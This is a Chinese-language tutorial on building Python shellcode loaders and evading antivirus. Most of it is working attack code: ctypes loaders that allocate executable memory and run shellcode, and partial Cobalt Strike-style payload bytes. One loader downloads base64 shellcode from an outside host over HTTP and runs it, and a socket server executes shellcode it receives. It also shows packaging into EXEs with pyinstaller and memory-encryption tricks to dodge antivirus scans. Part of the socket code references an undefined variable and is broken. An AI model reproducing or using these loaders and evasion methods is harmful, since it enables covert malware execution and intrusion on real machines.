Python的http+file+canshu
字数 902 2025-09-01 11:26:10

Python Shellcode加载与免杀技术详解

一、Python环境检测与打包工具

1.1 检测Python版本和系统位数

import struct
print(struct.calcsize("p")*8)  # 输出系统位数,如64

1.2 Python打包工具

常用的Python打包工具包括:

  • py2exe
  • pyinstaller
  • cx_freeze

安装pyinstaller:

pip install -i https://mirrors.aliyun.com/pypi/simple/ pyinstaller

二、Shellcode加载器实现

2.1 基础加载器实现

加载器1 (loader1.py)

#!/usr/bin/python
import ctypes

shellcode = b"shellcode代码"

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 
                                        ctypes.c_int(len(shellcode)), 
                                        ctypes.c_int(0x3000), 
                                        ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), 
                                   buf, 
                                   ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 
                                       ctypes.c_int(0), 
                                       ctypes.c_int(ptr), 
                                       ctypes.c_int(0), 
                                       ctypes.c_int(0), 
                                       ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

加载器2 (loader2.py)

import ctypes
import sys
import base64

scbytes = b'\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41...'

# 设置函数返回类型和参数类型
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int))

space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(scbytes)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buff = (ctypes.c_char * len(scbytes)).from_buffer_copy(scbytes)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),
                                   buff,
                                   ctypes.c_int(len(scbytes)))

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                           ctypes.c_int(0),
                                           ctypes.c_void_p(space),
                                           ctypes.c_int(0),
                                           ctypes.c_int(0),
                                           ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

2.2 Shellcode加密与参数传递

Base64加密Shellcode (base64-shellcode.py)

import base64

shellcode = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x72\x50\x48\x0f\xb7\x4a..."

sc = base64.b64encode(shellcode)
print(sc)

参数传递加载器 (canshu+loader2.py)

import ctypes
import sys
import base64
import ctypes
from loader2 import scbytes

def loader(scbytes):
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
    ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
    ctypes.windll.kernel32.CreateThread.argtypes = (ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int))
    
    space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 
                                              ctypes.c_int(len(scbytes)), 
                                              ctypes.c_int(0x3000),
                                              ctypes.c_int(0x40))
    
    buff = (ctypes.c_char * len(scbytes)).from_buffer_copy(scbytes)
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space), 
                                       buff, 
                                       ctypes.c_int(len(scbytes)))
    
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 
                                               ctypes.c_int(0), 
                                               ctypes.c_void_p(space), 
                                               ctypes.c_int(0), 
                                               ctypes.c_int(0), 
                                               ctypes.pointer(ctypes.c_int(0)))
    
    ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

if __name__=='__main__':
    sc = sys.argv[1]  # 从命令行参数获取Base64编码的Shellcode
    scbyte = base64.b64decode(sc)
    print(sc)
    print(scbyte)
    loader(scbyte)

使用方式:

python canshu+loader2.py "BASE64_SHELLCODE"

三、Shellcode传输方式

3.1 HTTP传输

HTTP加载器 (http+shellcode.py)

import ctypes
import sys
import base64
import ctypes
import requests

def loader(scbytes):
    # 同上loader函数实现
    pass

if __name__=='__main__':
    sc = requests.get("http://192.168.16.109:8080/sc.txt").text  # 从HTTP获取Base64编码的Shellcode
    scbyte = base64.b64decode(sc)
    print(sc)
    print(scbyte)
    loader(scbyte)

启动HTTP服务:

python3 -m http.server 8080

3.2 文件传输

文件加载器 (file-shellcode.py)

import ctypes
import sys
import base64
import ctypes

def loader(scbytes):
    # 同上loader函数实现
    pass

if __name__=='__main__':
    with open("sc.txt","r") as f:
        sc = f.read()
    print(sc)
    scbyte = base64.b64decode(sc)
    loader(scbyte)

3.3 管道传输(Socket)

服务端代码 (socket_s1.py)

# -*- coding:utf-8 -*-
__author__ = 'xiaodi'
import socket, base64, ctypes, os

server = socket.socket()

# 执行代码
def zx(data):
    scbytes = base64.b64decode(data + b'hud3DfoAQb7wtaJW/9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ+UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zE5Mi4xNjguMTM5LjE0MQAXUGXq')
    print(scbytes)
    
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
    ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
    ctypes.windll.kernel32.CreateThread.argtypes = (ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int))
    
    space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 
                                              ctypes.c_int(len(scbytes)), 
                                              ctypes.c_int(0x3000),
                                              ctypes.c_int(0x40))
    
    buff = (ctypes.c_char * len(scbytes)).from_buffer_copy(scbytes)
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space), 
                                       buff, 
                                       ctypes.c_int(len(scbytes)))
    
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 
                                               ctypes.c_int(0), 
                                               ctypes.c_void_p(space),
                                               ctypes.c_int(0), 
                                               ctypes.c_int(0), 
                                               ctypes.pointer(ctypes.c_int(0)))
    
    ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
    return scbytes

# 等待监听
server = socket.socket()
server.bind(("0.0.0.0", 9999))
server.listen(5)

while True:
    conn, addr = server.accept()
    print("new addr:", addr)
    while True:
        data = conn.recv(1024)
        if not data:
            print("客户端已断开")
            break
        print("执行指令:", data)
        zx(data)
        
        if len(cmd_res) == 0:
            cmd_res = "cmd has no output...."
        
        conn.send(str(len(cmd_res.encode())).encode())  # 发送数据长度
        conn.send(cmd_res.encode("utf-8"))  # 发送数据
        print("send done")

server.close()

客户端代码 (socket_c1.py)

import socket

client = socket.socket()
client.connect(("192.168.139.163", 9999))

while True:
    cmd = input(">>>").strip()
    if len(cmd) == 0:
        continue
    
    client.send(cmd.encode("utf-8"))
    cmd_res_size = client.recv(1024)  # 接收命令长度
    print("命令结果大小:", cmd_res_size.decode())
    
    recevied_size = 0  # 接收数据计数器
    recevied_data = b''  # 接收数据缓冲区
    
    while recevied_size < int(cmd_res_size.decode()):
        cmd_res = client.recv(1024)
        recevied_size += len(cmd_res)
        recevied_data += cmd_res
    else:
        print(recevied_data.decode("utf-8", "ignore"))
        print("cmd res receive done ....", recevied_size)

client.close()

四、打包与免杀技术

4.1 打包为EXE

使用pyinstaller打包:

pyinstaller.exe -F "http+shellcode.py"
pyinstaller.exe -F file-shellcode.py
pyinstaller.exe -F "canshu+loader2.py"
pyinstaller.exe -F socket_s1.py

打包后的文件会存放在dist目录下。

4.2 免杀技术

  1. Shellcode混淆与分离

    • 让杀毒软件找不到特征
    • 执行时解密或解码
    • 分离加载器和Shellcode
  2. 内存加密技术

    • 利用杀软间隙性扫描内存的特点
    • 在CS的shellcode调用sleep休眠时将可执行内存区域加密
    • 休眠结束时再将内存解密
    • 规避杀软内存扫描
  3. Sleep休眠突破内存扫描

    • 程序空闲时让shellcode处于加密状态
    • 执行时解密

五、测试与上线

  1. 参数传递方式

    • 直接运行canshu+load2.exe并传递加密后的shellcode
  2. 文件传输方式

    • 同目录下要有sc.txt文件,存放加密的shellcode
  3. HTTP传输方式

    • 需要服务器开启相应端口的网站
    • 目录下放置包含shellcode的文件
  4. 管道传输方式

    • 服务端放在目标服务器上
    • 客户端连接后传输加密的shellcode

注意:卡巴斯基等杀毒软件擅长内存扫描,可能检测到这些技术。

Python Shellcode加载与免杀技术详解 一、Python环境检测与打包工具 1.1 检测Python版本和系统位数 1.2 Python打包工具 常用的Python打包工具包括: py2exe pyinstaller cx_ freeze 安装pyinstaller: 二、Shellcode加载器实现 2.1 基础加载器实现 加载器1 (loader1.py) 加载器2 (loader2.py) 2.2 Shellcode加密与参数传递 Base64加密Shellcode (base64-shellcode.py) 参数传递加载器 (canshu+loader2.py) 使用方式: 三、Shellcode传输方式 3.1 HTTP传输 HTTP加载器 (http+shellcode.py) 启动HTTP服务: 3.2 文件传输 文件加载器 (file-shellcode.py) 3.3 管道传输(Socket) 服务端代码 (socket_ s1.py) 客户端代码 (socket_ c1.py) 四、打包与免杀技术 4.1 打包为EXE 使用pyinstaller打包: 打包后的文件会存放在dist目录下。 4.2 免杀技术 Shellcode混淆与分离 让杀毒软件找不到特征 执行时解密或解码 分离加载器和Shellcode 内存加密技术 利用杀软间隙性扫描内存的特点 在CS的shellcode调用sleep休眠时将可执行内存区域加密 休眠结束时再将内存解密 规避杀软内存扫描 Sleep休眠突破内存扫描 程序空闲时让shellcode处于加密状态 执行时解密 五、测试与上线 参数传递方式 直接运行canshu+load2.exe并传递加密后的shellcode 文件传输方式 同目录下要有sc.txt文件,存放加密的shellcode HTTP传输方式 需要服务器开启相应端口的网站 目录下放置包含shellcode的文件 管道传输方式 服务端放在目标服务器上 客户端连接后传输加密的shellcode 注意 :卡巴斯基等杀毒软件擅长内存扫描,可能检测到这些技术。